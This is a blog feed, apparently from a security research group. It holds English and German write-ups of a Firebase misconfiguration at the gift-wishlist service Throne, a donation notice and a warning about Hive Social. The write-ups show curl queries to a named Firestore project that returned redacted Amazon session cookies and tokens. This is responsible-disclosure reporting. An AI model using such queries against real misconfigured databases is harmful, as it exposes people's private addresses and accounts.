Außerdem haben wir Patreon und Steady eingerichtet. Damit gibt es jetzt neben einer Überweisung, GitHub Sponsors und PayPal.me noch weitere Weg, uns Geld zukommen zu lassen: Patreon & Steady. Falls ihr bei einem der beiden eh bereits einen Account habt und uns darüber unterstützen wollt, könnt ihr das nun auch dort.

Aber keine Sorge, es wird keine patreon- bzw. steady-exklusiven Inhalte geben, wir veröffentlichen weiterhin alles frei lesbar auf diesem Blog und Mastodon.

Hinweis: Per Überweisung kommt tatsächlich am meisten bei uns an. Bei den anderen Plattformen gibt es eine große Gebührenspanne, gerade bei Beträgen unter 5 Euro gehen teilweise mehr als 35% ab.

Weiterhin nicht: Krypto-“Währungen”

Wie schon von Anfang an gilt: Wir nehmen keine Unterstützung in Form von Krypto-“Währungen” an und diskutieren auch nicht darüber.

🥺👉👈

Stets die aktuellen Kontodaten sowie alle Wege, uns zu unterstützen, findet ihr auf unserer Unterstützen-Seite. Dort steht auch eine grobe Beschreibung, was wir damit machen. Und nochmals: Vielen Dank!

Presents versus privacy

Fri, 07 Apr 2023 16:01:00 +0200

Dieser Artikel ist auch auf deutsch erschienen

On the Internet no one knows you’re a dog creating content – but everyone knows you love support from your fans (whether in the form of technical devices, energy drinks or feed). However, it’s not a good idea to leave your home address online where overzealous fans or malicious stalkers might find it. For this reason, services have emerged that seek to enable creators to receive physical gifts without compromising their privacy.

But how good do they actually protect your address? Let’s have a look…

Cooking, sewing, ASMR or a combination of all three will easily get you millions of views on platforms such as TikTok, Twitch, YouTube or FurAffinity. For some creators, this is a hobby, while others make a living live streaming or producing videos. And very often: With support from their fans.

The world is a cruel place

In addition to direct monetary donations creators often offer their fans a more personal way to support them: wish lists for physical (or digital) goods. One convenient way to do that is Amazon’s Wishlist feature.

But we all know that ~~the internet~~ the world is a dangerous place. Private data is posted on the net (doxxing) and police “special forces” are directed to the homes of public figures by faking emergency calls (swatting). This goes beyond dangerous pranks - sometimes organized groups work to make life hell for their victims.

Problems of preserving privacy

More than enough reason for many creators to keep their address or even their entire identity a secret.

But the Amazon wishlist is not suitable for this because it displays the recipient’s name and city - not exactly ideal for anonymity. And there are even reports that it is possible to get Amazon to leak the complete personal data including the address - for example by manipulating employees (social engineering) or exploiting technical loopholes¹.

And where there is a problem, there are startups trying to monetize it. (Platform marketing! Creator economy! Capitalism! Yay!)

Fear + StartUp = Profit

One of those startups is Throne. They launched in 2021 and promise to get creators their gifts while keeping their name and address secret:

Throne was created with privacy as our first principle.

We value our creators privacy and keep addresses entirely private. No fan will ever see your address, delivery name or any other identifiable information.

The Idea is simple: Creators compile a wish list of products from different stores. Fans then pick products and pay the corresponding amount of money to Throne. In turn, Throne uses that money to order the product from shops like Amazon - straight to the creator’s home.

For a slice of the cake², of course.

Graphic Design is our passion

This means that if you deem Amazon Wishlists too risky, you give your address to Throne so that Throne can enter it into Amazon’s order form. The important difference to Amazon Wishlists is that Throne acts as a “security layer” between the fan and the online shop.

This means the platform is sitting on a particularly sensitive treasure trove of data - the identity and private addresses of all the creators. So they better take care of it 🐉.

But you wouldn’t be reading this if they hadn’t screwed something up.

A throne made of bricks

But before we talk about the exact problem, we first need to have a look at how Throne is built.

That was also the first question we asked ourselves once we took a look at Throne. So we opened the developer tools of our browser and had a little look around the source code of the Throne website.

One thing struck us right away: Throne uses Firebase. You can think of Firebase as a set of software building blocks made by Google. Thanks to these building blocks, startups no longer need to worry about all the individual parts of an app. Many startups don’t necessarily want to run such complicated things as file storage, authentication services or databases themselves. They can outsource all that to Firebase – and focus on the core of their startup software development, or whatever else it is they actually do.

One of its components is the Firestore. It’s a database, the long-term memory of the application. It stores data in collections – roughly comparable to tables of data.

This database can then be queried: What items does a certain creator have on their wish list? And how much do these cat ears actually cost? And where can we get them? We also want nice and fluffy cat ears!

But not all data should be read (or written) by everyone. To ensure this, developers have to configure proper security rules.

And Throne has done this successfully for much of the data. For example, when asking the Firestore for all addresses, it denies the request:

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails

{
  "error": {
    "code": 403,
    "message": "Missing or insufficient permissions.",
    "status": "PERMISSION_DENIED"
  }
}

But if we only ask for our own address, the query is successful:

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNG USER-ID]

{
  "name": "projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNG USER-ID]",
  "fields": {
    ...
    "city": {
      "stringValue": "Musterhausen"
    },
    "postcode": {
      "stringValue": "12345"
    },
    "address1": {
      "stringValue": "2342 Hack Blvd."
    },
    "address2": {
      "stringValue": ""
    },
    "state": {
      "stringValue": "Berlin"
    },
    "country": {
      "stringValue": "DE"
    },
    "lastName": {
      "stringValue": "forschung"
    },
    "delivery_instructions": {
      "stringValue": "deliver to the pink unicorn"
    },
    "hasIssue": {
      "booleanValue": false
    },
    "name": {
      "stringValue": "zer"
    }
  },
  ...
}

Unfortunately we already had a case (Article in German) where these permissions were not set correctly, and we could also ask for internal access data. And it was similar here:

A single failed request didn’t stop us from experimenting further to figure out what data we could query. We (mostly³) just received data that we should be able to see.

But after further digging, we found a collection called constants that we had access to. It contained all kinds of things: For example the conversion rates of various currencies⁴ or a list of merchants offered by Throne. But also some credentials:

Excerpt of constants collection (Click to expand)

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/constants

{
  "documents": [
    ...,
    {
      "name": "projects/onlywish-9d17b/databases/(default)/documents/constants/exchangeRates",
      "fields": {
        "CHF": {
          "doubleValue": 1.1060111707128242
        },
        ...
      }
    },
    {
      "path": "constants/bannedDeliveryDetails",
      "data": {
        "addresses": [
          {
            "searchableName": "████",
            "delivery_instructions": "",
            "postcode": "███",
            "city": "█████",
            "googleMapsFormattedAddress": "██████████████",
            "updatedAt": 1657348████,
            "firstName": "███████",
            "address2": "",
            "geo": {
              "lat": 26.██████,
              "lng": -80.█████
            },
            "lastName": "████",
            "phone": "████████",
            "country": "US",
            "address1": "██████████",
            "state": "███",
            "hasIssue": false,
            "reference": {
              "type": "creator",
              "id": "██████████████"
            },
            "name": "█████ ██████",
            "searchablePostcode": "███"
          },
          ...
        ]
      }
    },
    {
      "path": "constants/gsheetsOAuthToken",
      "data": {
        "access_token": "ya29.████████████████████████████████████████████████████████████",
        "expires_in": 3599,
        "token_type": "Bearer",
        "scope": "https://www.googleapis.com/auth/spreadsheets",
        "expires_at": ███████,
        "refresh_token": "████████████████████████████████████████████████████████████████████████████████"
      }
    },
    {
      "path": "constants/trackedAmazonAccounts",
      "data": {
        "trackedAmazonAccounts": [
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "co.uk",
            "name": "Amazon UK"
          },
          {
            "name": "Amazon FR",
            "countryTld": "fr",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "name": "Amazon IT",
            "countryTld": "it",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "countryTld": "de",
            "cookie": "session-id=███████████████; ubid-acbde=███████████████; av-timezone=Europe/Berlin; csd-key=e████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; sp-cdn=J4F7; lc-acbde=en_GB; session-token=████████████████████████████████████████████████████████████; x-acbde=\"████████████████████████████████████████████████████████████\"; at-acbde=████████████████████████████████████████████████████████████; sess-at-acbde=\"███████████████████████\"; sst-acbde=████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; i18n-prefs=EUR; csm-hit=████████████████████████████████████████████████████████████&adb:adblk_yes; session-id-time=██████████",
            "name": "Amazon DE"
          },
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "es",
            "name": "Amazon ES"
          },
          {
            "name": "Amazon US",
            "countryTld": "com",
            "cookie": "████████████████████████████████████████████████████████████"
          }
        ]
      }
    },
    ...
  }
}

Most of these credentials were expired or useless without further context.⁵ Unfortunately, there also were session cookies for a bunch of Amazon accounts.

While we like cookies in general, these are not the tasty ones.

🍪 Cookies are a technology that allows websites to store a bit of information in users’ browsers. For example, a website can say, “Great, you successfully logged in with your password. Here’s a very special cookie. If you show it to me, I’ll always know who you are. So don’t give it to anyone else.”

If you have enabled two factor authentification (2FA) on an account¹, the website also remembers this with the cookies it gave you - and doesn’t ask each time.

2FA is a important security precaution and you should really use it anywhere it is possible. ↩︎

But Throne didn’t keep these cookies to themselves. Instead, they allowed everyone to read them from their database. And anyone who has these cookies can show them to Amazon – and is authenticated as Throne.

This even works if two factor authentification (2FA) is enabled for the account, as the cookies store that you already completed 2FA.

Since we are now logged in as Throne, we can look at all orders they placed on Amazon - and of course, this includes the delivery addresses of the creators.

Throne saved these cookies in a sub-collection named trackedAmazonAccounts. This suggests that they use the cookies to allow a system to automatically check the status of the order and allow gift recipients to track the shipment. However, this does not excuse the publication of the cookies to the whole world.

Ding-dong

After we found the security issue, we put together a report and sent it to Throne, CERT-Bund (the German federal computer emergency response team) and Berlin’s data protection authority⁶.

About 45 minutes later, they informed us that they closed the security vulnerability.

That was pretty fast – even for startups, which often brag about their agility. And Throne’s next steps seemed sensible: Invalidate the Amazon cookies to make them unusable and try to check if anyone else has exploited the loophole.

Also, Throne added a security.txt to their website following the recommendations in our report.

The security.txt is a standardized file for specifying contact details for security issues. Website operators can publish one to let security researchers know where to report a security vulnerability.

Better safe than sorry

Throne also published a blogpost on the incident. Unfortunately, they decided to downplay the issue and it’s implications.

Throne claims:

we investigated if users were affected and if there was any risk to personal data. Using IP logs we discovered that there was no risk and no unknown party had viewed any data.

We don’t know how exactly Throne determined this – they never asked for our IPs or any other identifiers to reliably attribute the access to us.

And even if they were able to attribute all queries: We could still access the data. We may no longer be an “unknown party” - after all we reached out to Throne. But we aren’t authorized to have access to this private information. And less wellmeaning actors could have done a lot of damage with this data.

Move slow enough - so you don’t endanger people!

In addition, however, a quick response to a security report is not enough: Once you’ve received the report it’s already too late. One such mistake can endanger many people – and it leads the whole privacy-claim of Throne ad absurdum.

Startups love the mantra “move fast and break things”. But when it comes to personal data, this is exactly the wrong approach. Privacy and security require a comprehensive strategy. This includes a well-thought-out software architecture and experience with the rough edges of the frameworks. All of this takes money and - often even more scarce for startups - time.

🤝

We reported on this issue together with TechCrunch. Their article can be found here.

Timeline

2023-03-29: We’ve found the issues
2023-03-30: Report to Throne, Berlin State Data Protection Commissioner and CERT-Bund.
2023-03-30: Response from Throne, short phonecall with them
2023-03-30: Throne reports that the issues have been fixed & further steps are planned
2023-03-31: Throne publishes security.txt
2023-04-05: Throne notifies their users

Disclaimer

Two members of zerforschung know one of the founders of Throne, but had no contact with him for several years prior to the discovery of the vulnerability.

After reporting the vulnerability, Throne bought us an electric tool we had on our Amazon wish list. We have never asked Throne or any other company we reported vulnerabilities to for money or gifts.

Neither of this is influencing our current or future reporting on Throne.

https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/ ↩︎
https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge- ↩︎
Although, we’re not sure if they intended to display the user flag isUnderInvestigation 🤔 ↩︎
Weird, aren’t conversion rates changing all the time? Not particularly constant data… ↩︎
For example, we found API keys for Google Spreadsheets. As far as we understood, we can’t do anything with those without knowing a document ID. ↩︎
Thrones german subsidary is based in Berlin. ↩︎

Geschenke, Geschenke, Geschenke!

Fri, 07 Apr 2023 16:00:00 +0200

This article was also published in english

Wer Videos dreht und ins Internet stellt, freut sich über Liebe von seinen Fans – gerne auch in Form von Geschenken. Von technischem Equipment über Energydrinks bis hin zu Kleidung, der Kreativität sind keine Grenzen gesetzt. Die eigene Wohnadresse sollte aber besser nirgendwo landen, wo sie übereifrige Fans oder bösartige Stalker finden könnten. Deshalb gibt es Dienste, die einem beides ermöglichen wollen: Einerseits Geschenke bekommen und andererseits seine Adresse nicht dem gesamten Internet verraten zu müssen.

Problematisch wird’s, wenn so ein Dienst dabei Mist baut und diese Adressen doch leakt. Genau das ist aber passiert. Wie es dazu kam…

Kochen, Nähen, ASMR, Erotik oder alles gleichzeitig – im Internet bringt das Klicks. Diverse Plattformen wie TikTok, Twitch, YouTube oder FurAffinity leben davon, dass Menschen sich als »Content Creator« betätigen. Die einen sehen es als Hobby, andere verdienen damit ihr Geld. Mal mit Live-Streaming, mal mit vorproduzierten Videos. Und fast alle lassen sich gerne von ihren Fans unterstützen.

Himmel + Hölle = das Internet

Eine Möglichkeit sind natürlich direkte Geldspenden, aber auch Wunschlisten erfreuen sich zunehmend großer Beliebtheit. Wer seinen Internet-Lieblingen eine Freude machen will, sucht sich zum Beispiel die Amazon-Wishlists raus und verschenkt technische Ausrüstung oder was Nettes zum Snacken.

Auch wir freuen uns immer über Geschenke. Wie das geht, steht auf unserer Unterstützen-Seite

Aber wir wissen alle: ~~Das Internet~~ die Welt ist ein gefährlicher Ort. Private Daten landen im Netz (Doxxing), Notrufe von den Adressen öffentlich sichtbarer Personen werden vorgetäuscht, sodass dort »Spezialeinheiten« auftauchen (Swatting). Dabei geht es nicht nur um gefährliche Späße, teilweise bilden sich organisierte Gruppen, die sich in den Kopf gesetzt haben, ihrem Opfer das Leben zur Hölle zu machen.

Niemanden geht an, wo dein Haus wohnt

Nachvollziehbar also, dass viele Menschen, die im Internet auftreten, ihre Adresse oder auch ihre komplette Identität geheim halten wollen. Dafür sind Amazon Wishlists nicht ideal. Denn standardmäßig werden dort Name und Stadt angezeigt – und das war’s dann mit der vollständigen Anonymität.

Doch nicht nur, dass Name und Stadt automatisch öffentlich sind. Es kursieren außerdem Berichte darüber, dass es bei Amazon durchaus möglich ist, an die vollständigen persönlichen Daten inklusive der Adresse der beschenkten Person zu kommen – zum Beispiel, indem man Mitarbeitende manipuliert (social engineering) oder technische Schlupflöcher ausnutzt¹.

Wo es so ein Problem gibt, tauchen schnell die ersten Startups auf, um die Lücken auf dem Markt und in ihrem Geldbeutel zu stopfen (»Plattform-Marketing! Creator-Economy! Kapitalismus! Yay!«).

Profit mit dem Privatsphäreversprechen

Eins der Start-Ups, die von dieser Angst profitieren wollen: Throne. Throne existiert seit 2021 und wirbt damit, onlinekreativen Unterhaltungsproduzierenden² ihre Geschenke zu besorgen, dabei aber deren Name und Adresse geheim zu halten:

Throne was created with privacy as our first principle.

We value our creators privacy and keep addresses entirely private. No fan will ever see your address, delivery name or any other identifiable information.

Das funktioniert so: Onlinekreative Unterhaltungsproduzierende stellen eine Wunschliste aus Produkten verschiedener Shops zusammen. Fans können dann daraus Produkte auswählen und den entsprechenden Geldbetrag an Throne zahlen. Throne wiederum bestellt mit dem Geld das Produkt – beispielsweise von Amazon – direkt nach Hause zu den onlinekreativen Unterhaltungsproduzierenden.

Für einen Bissen vom Kuchen³, versteht sich.

Graphic Design is our passion

Das heißt: Wem eine Amazon-Wishlist zu heikel ist, gibt seine Adresse an Throne, damit Throne dann diese Adresse bei Amazon ins Bestellformular auf die Empfängerseite eintragen kann. Der Hauptunterschied zur Amazon-Wishlist: Throne ist als zusätzliche Sicherheitsschicht zwischen der schenkenden Person und dem Online-Shop.

Dadurch sitzt eine solche Plattform natürlich auf einem besonders sensiblen Datenschatz – den privaten Adressen vieler interessanter Persönlichkeiten. Diesen Datenschatz muss die Plattform dann auch gut hüten 🐉.

Doch wir würden nicht darüber schreiben, wenn uns da nicht was passiert wäre…

Stein auf Stein – bis es umfällt

Bis wir euch verraten können, was genau uns passiert ist, müssen wir erst noch kurz verstehen, wie Throne eigentlich funktioniert.

Als wir uns Throne genauer angeschaut haben, haben wir uns auch zuallererst einen Überblick verschafft. Dafür haben wir die Entwickler*innen-Tools unseres Browsers geöffnet und uns ein bisschen im Quellcode der Website umgeschaut.

Dabei stach uns direkt etwas ins Auge⁴: Für den Betrieb der App hat sich Throne an einem Bauklotzhaufen aus dem Hause Google bedient: Um sich nicht um alle Einzelteile einer App kümmern zu müssen, verwenden sie für den Betrieb im Hintergrund Teile von Google Firebase. Denn viele Startups wollen so lästige Dinge wie Dateispeicher, eine Komponente zum Anmelden und eine Datenbank nicht unbedingt selbst betreiben. Das alles können sie an Firebase auslagern – und sich auf den Kern ihrer Startup-Software-Entwicklung konzentrieren.

Eine der Komponenten des Google-Bauklotzhaufens Firebase ist Firestore. Das ist eine Datenbank, also das Langzeitgedächtnis der Anwendung. Daten werden dort in sogenannten Collections gespeichert. Das ist lose vergleichbar mit Tabellen.

An diese Datenbank kann man nun Anfragen stellen: Was hat ein*e bestimmte*r onlinekreative*r Unterhaltungsproduzent*in so auf der Wunschliste stehen? Wie viel kosten diese Katzenohren eigentlich? Und überhaupt, wo gibt es diese tollen Katzenohren? (Wir wollen die auch!)

Die Datenbank darf einem natürlich nicht auf alle Fragen antworten. Denn nicht alle Informationen sind für uns bestimmt. Damit nicht alle alles lesen (oder ändern) können, kann man die Berechtigungen genau einstellen.

Fragen wir zum Beispiel nach der Liste aller Adressen, bekommen wir nur eine Fehlermeldung, die uns sagt, dass wir das nicht dürfen.

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails

{
  "error": {
    "code": 403,
    "message": "Missing or insufficient permissions.",
    "status": "PERMISSION_DENIED"
  }
}

Aber wenn wir nach unser eigenen Adresse fragen, geht das ohne Probleme:

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]

{
  "name": "projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]",
  "fields": {
    ...
    "city": {
      "stringValue": "Musterhausen"
    },
    "postcode": {
      "stringValue": "12345"
    },
    "address1": {
      "stringValue": "Hackstraße 23"
    },
    "address2": {
      "stringValue": ""
    },
    "state": {
      "stringValue": "Belpin"
    },
    "country": {
      "stringValue": "DE"
    },
    "lastName": {
      "stringValue": "forschung"
    },
    "delivery_instructions": {
      "stringValue": "Bitte dem pinken Einhorn übergeben"
    },
    "hasIssue": {
      "booleanValue": false
    },
    "name": {
      "stringValue": "zer"
    }
  },
  ...
}

Kekse für alle

Und so haben wir weiterprobiert, was wir alles abrufen dürfen. Lange haben wir fast nur Informationen bekommen, die man auch direkt auf der Website sieht⁵.

Doch dann fanden wir eine Collection namens constants. In dieser standen allerlei Dinge: Die Umrechnungskurse verschiedener Währungen⁶, eine Liste welche Shops es bei Throne gibt – und ein paar interne Zugangsdaten sowie eine Liste mit gesperrten Adressen und Accounts.

Leider hatten wir in der Vergangenheit schon einmal den Fall, dass die Berechtigungen nicht richtig eingestellt waren. Dort konnten wir nach internen Zugangsdaten fragen und bekamen eine Antwort.

Ein Auszug aus der constants-Collection (Klicken zum Ausklappen)

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/constants

{
  "documents": [
    ...,
    {
      "name": "projects/onlywish-9d17b/databases/(default)/documents/constants/exchangeRates",
      "fields": {
        "CHF": {
          "doubleValue": 1.1060111707128242
        },
        ...
      }
    },
    {
      "path": "constants/bannedDeliveryDetails",
      "data": {
        "addresses": [
          {
            "searchableName": "████",
            "delivery_instructions": "",
            "postcode": "███",
            "city": "█████",
            "googleMapsFormattedAddress": "██████████████",
            "updatedAt": 1657348████,
            "firstName": "███████",
            "address2": "",
            "geo": {
              "lat": 26.██████,
              "lng": -80.█████
            },
            "lastName": "████",
            "phone": "████████",
            "country": "US",
            "address1": "██████████",
            "state": "███",
            "hasIssue": false,
            "reference": {
              "type": "creator",
              "id": "██████████████"
            },
            "name": "█████ ██████",
            "searchablePostcode": "███"
          },
          ...
        ]
      }
    },
    {
      "path": "constants/gsheetsOAuthToken",
      "data": {
        "access_token": "ya29.████████████████████████████████████████████████████████████",
        "expires_in": 3599,
        "token_type": "Bearer",
        "scope": "https://www.googleapis.com/auth/spreadsheets",
        "expires_at": ███████,
        "refresh_token": "████████████████████████████████████████████████████████████████████████████████"
      }
    },
    {
      "path": "constants/trackedAmazonAccounts",
      "data": {
        "trackedAmazonAccounts": [
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "co.uk",
            "name": "Amazon UK"
          },
          {
            "name": "Amazon FR",
            "countryTld": "fr",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "name": "Amazon IT",
            "countryTld": "it",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "countryTld": "de",
            "cookie": "session-id=███████████████; ubid-acbde=███████████████; av-timezone=Europe/Berlin; csd-key=e████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; sp-cdn=J4F7; lc-acbde=en_GB; session-token=████████████████████████████████████████████████████████████; x-acbde=\"████████████████████████████████████████████████████████████\"; at-acbde=████████████████████████████████████████████████████████████; sess-at-acbde=\"███████████████████████\"; sst-acbde=████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; i18n-prefs=EUR; csm-hit=████████████████████████████████████████████████████████████&adb:adblk_yes; session-id-time=██████████",
            "name": "Amazon DE"
          },
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "es",
            "name": "Amazon ES"
          },
          {
            "name": "Amazon US",
            "countryTld": "com",
            "cookie": "████████████████████████████████████████████████████████████"
          }
        ]
      }
    },
    ...
  }
}

Die meisten dieser Zugangsdaten sind abgelaufen oder wir konnten nichts damit anfangen, weil uns weitere Informationen fehlen.⁷ Doch unter den ausgegebenen Zugangsdaten waren auch Session-Cookies von Amazon.

Angeleckte Kekse gibt man nicht weiter!

Cookies sind eine Technologie, mit der Websiten ein Informationsschnipsel im Browser der Nutzer*innen speichern können.

Zum Beispiel kann eine Website sagen: »Toll, du hast dich gerade mit deiner E-Mail-Adresse und deinem Passwort angemeldet. Damit du das nicht jedes mal wieder machen musst, bekommst du hier einen ganz besonderen Keks. Den darfst du niemandem weitergeben und wenn du mir den zeigst, weiß ich, wer du bist.«

Wenn man 2-Faktor-Authentifizierung aktiviert hat¹, merkt sich die Website auch anhand dieses Session-Cookies ob man sich gerade schon mit dem zweiten Faktor angemeldet hat und fragt nicht nochmals danach. Sonst müsste man sich bei jedem Klick auf der Website nochmal mit dem zweiten Faktor authentifizieren.

Was sehr wichtig ist und ihr unbedingt überall machen solltet. ↩︎

Kekse finden wir zwar gut, aber nicht diese Art – denn Throne ~~hat sie schon angeleckt~~ sollte diese eigentlich für sich behalten. Doch anstatt das zu tun, haben sie die Cookies öffentlich in die Datenbank geschrieben, sodass wir sie jetzt auch bei Amazon vorzeigen können – und somit direkt angemeldet sind. Und so können wir uns auch die vorigen Bestellungen angucken – inklusive der eigentlich geheimen Adressen der onlinekreativen Unterhaltungsproduzierenden.

Throne hatte diese Cookies unter dem Namen trackedAmazonAccounts gespeichert. Daher vermuten wir, dass Throne die Cookies verwendet, um automatisiert nach dem Status der Bestellung zu schauen und den Beschenkten zu ermöglichen, die Sendung zu verfolgen. Doch das ist keine Ausrede, diese Cookies öffentlich zu machen.

Ding dong

Also haben wir das ganze in einem Report zusammengeschrieben und an Throne, die Berliner Datenschutzbehörde⁸ und das CERT-Bund des BSI geschickt. Etwa 45 Minuten später hatten wir schon die Rückmeldung von Throne, dass die Lücke gestopft wurde.

Das war für uns – obwohl wir ja oft mit Startups zu tun haben, die sich für ihre Geschwindigkeit rühmen – ungewohnt schnell 🏃👏. Und auch sonst klangen die nächsten Schritte von Throne gut: Die Cookies bei Amazon zurückrufen, sodass niemand sie mehr nutzen kann und versuchen zu überprüfen, ob noch jemand die Lücke ausgenutzt hat. Wie gut sie das gemacht haben, dazu gleich mehr.

Zuerst hat Throne nach unserer Meldung noch eine Kleinigkeit getan, die wir uns immer von allen Websites wünschen, mit denen wir zu tun haben: Sie haben eine security.txt eingerichtet.

Das ist eine standardisierte Datei, um Ansprechpartner*innen für Sicherheitsangelegenheiten zu benennen. Diese können Websitebetreibende veröffentlichen, damit Sicherheitsforscher*innen wissen, an wen sie eine Sicherheitslücke melden können.

Warum es eine gute Idee ist, sowas immer zu veröffentlichen, haben wir hier erklärt.

Lieber Vorsicht als Nachsicht

Doch leider müssen wir auch Kritik an Thrones öffentlichen Umgang mit der Lücke üben. Zwar haben sie von sich aus einen Blogpost zu dem Vorfall veröffentlicht und diesen sogar in einem regelmäßigen Update an alle Creator erwähnt. Jedoch spielen sie die Lücke und ihre Auswirkungen dort sehr herunter.

Throne behauptet:

we investigated if users were affected and if there was any risk to personal data. Using IP logs we discovered that there was no risk and no unknown party had viewed any data.

Wie genau Throne das festgestellt haben will, wissen wir nicht. Denn nach unserer IP-Adresse oder anderen Identifikatoren wurden wir nicht gefragt. Und selbst wenn sie alle Zugriffe genau zuordnen konnten – wir konnten auf die Daten zugreifen.

Zwar sind wir vielleicht inzwischen keine »unknown party« mehr, schließlich haben wir uns bei Throne gemeldet. Trotzdem sind wir nicht berechtigt und sollten solche privaten Daten nicht einsehen können. Und weniger gutmeinende Akteure hätten mit diesen Daten einigen Schaden anrichten können.

Move slow genug, um keine Menschen zu gefährden!

Außerdem gilt – auch wenn man Throne für die hohe Reaktionsgeschwindigkeit lobt: Schnell auf eine Meldung zu reagieren ist nicht genug. Denn wenn die Meldung kommt ist es schon zu spät. Ein solcher Fehler reicht, um viele Menschen zu gefährden.

Startups arbeiten gerne nach dem Prinzip »move fast and break things«. Bei privaten Daten ist das aber genau die falsche Herangehensweise. Denn Sicherheit muss umfassend gedacht werden: dazu gehört eine durchdachte Softwarearchitektur ebenso wie Erfahrung mit den Ecken und Kanten der genutzten Frameworks. Das alles kostet Geld und – bei Startups oft noch viel knapper – Zeit.

🤝

Wir haben diese Lücke exklusiv zusammen mit techcrunch veröffentlicht. Den Artikel findet ihr hier.

Timeline

2023-03-29: Fund der Lücken
2023-03-30: Report an Throne, Landesdatenschutzbeauftragte Berlin und CERTBund
2023-03-30: Meldung, dass Throne unseren Report erhalten hat, kurzes Gespräch
2023-03-30: Throne meldet, dass die Lücken gestopft wurden & weitere Schritte geplant sind
2023-03-31: Throne veröffentlicht security.txt
2023-04-05: Throne benachrichtigt ihre User

Disclaimer

Zwei Zerforschis kennen einen der Gründer von Throne, hatten allerdings bis zum Entdecken der Lücke mehrere Jahre keinen Kontakt zu ihm.

Nach dem Melden der Sicherheitslücke hat uns Throne etwas Werkzeug von unserer Amazon-Wunschliste gekauft. Wir haben weder Throne noch irgendein anderes Unternehmen, bei dem wir Sicherheitslücken fanden, je um Geld oder Geschenke gebeten und werden das auch in Zukunft nicht tun.

Beides hat weder Einfluss auf unsere aktuelle, noch auf eventuelle zukünftige Berichterstattung über Throne.

https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/, schon etwas älter, in verschiedenen Foren finden sich aber auch neuere Berichte ↩︎
TODO: Besseren Begriff finden, der nicht »Creator« ist ↩︎
https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge- ↩︎
Aua! 👁️👈 ↩︎
Ob das Feld isUnderInvestigation für jeden Account öffentlich sein muss, wissen wir allerdings nicht… 🤔 ↩︎
Eigentlich seltsam, dass das gerade bei den Constants, also den konstanten, sich nicht ändernden Werten steht. Währungskurse ändern sich doch ständig? ↩︎
Zum Beispiel befindet sich dort ein API-Key für Google Spreadsheets. Soweit wir es verstanden haben, kann man damit aber nur etwas anfangen, wenn man eine dazu passende Dokumenten-ID kennt. ↩︎
Die Blue Makalu GmbH, Thrones deutsche Gesellschaft, sitzt in Berlin. ↩︎

⚠️ Warning: do not use Hive Social 👉🐝👈

Wed, 30 Nov 2022 22:00:00 +0100

Dieser Artikel ist auch auf deutsch erschienen.

Update: The vulnerabilities are currently no longer exploitable because Hive deactivated their servers. More details

Following the Twitter takeover, a number of services promising to be an alternative gained traction. One of those is “Hive Social”, which reached more than a million users in the last weeks.

Of course, we were interested and took a look at Hive from a security standpoint. We found a number of critical vulnerabilities, which we confidentially reported to the company. After multiple attempts to contact the company we finally reached them by phone and they acknowledged the report. After multiple days and multiple reminders by us, they claimed to fix them within the next two days. However after those two days, multiple vulnerabilities we reported were not fixed and still existed at the time of writing.

⚠️ We strongly advise against using Hive in any form in the current state.

The issues we reported allow any attacker to access all data, including private posts, private messages, shared media and even deleted direct messages. This also includes private email addresses and phone numbers entered during login.

Attackers can also overwrite data such as posts owned by other users, which we show in the following video:

Screen recording of the Hive Social App on an iPhone. We are logged in with the zerforschung account, in our timeline are posts from a test account visible. The post 'Hello Hive!' is shared by using the share sheet with a custom script. A text input field appears, showing the posts internal id and current text, allowing us to edit the text 'Hello Hive!' to 'Goodbye Hive!'. Our edit is confirmed, asking us to reload the timeline. The app gets force closed and opened again. The post of the test account is visible in the timeline again, this time with the text 'Goodbye Hive!'

To not endanger the privacy of the people currently using Hive even further, we will not be publishing a more in depth analysis at the current time.

If you need an alternative to twitter, try mastodon. You can follow us on there, too.

We’ll update this post with more details once Hive finally fixed their issues.

Update 1: Poof, the hive is gone

After our article was published, Hive decided to deactivate their servers. This means the vulnerabilities can no longer be exploited.

We had a longer call with their developer. He is working on fixing the issues. We will update this post with the promised longer technical writeup at a later time.

We also reworded a paragraph that said "they claimed to have fixed all issues" due to a miscommunication between Hive's CEO and us.

- After multiple days and multiple reminders by us, they claimed to have fixed all issues. However multiple vulnerabilities we reported **still exist** at the time of writing.
+ After multiple days and multiple reminders by us, they claimed to fix them within the next two days. However after those two days, multiple vulnerabilities we reported were not fixed and **still existed** at the time of writing.

Timeline

2022-11-23 - we began with having a look at Hive Social
2022-11-26 14:36 GMT+1 - Finished writing report, sent emails with a request for confirmation
2022-11-27 01:25 GMT+1 - First try to reach the CEO by telephone, got call rejected
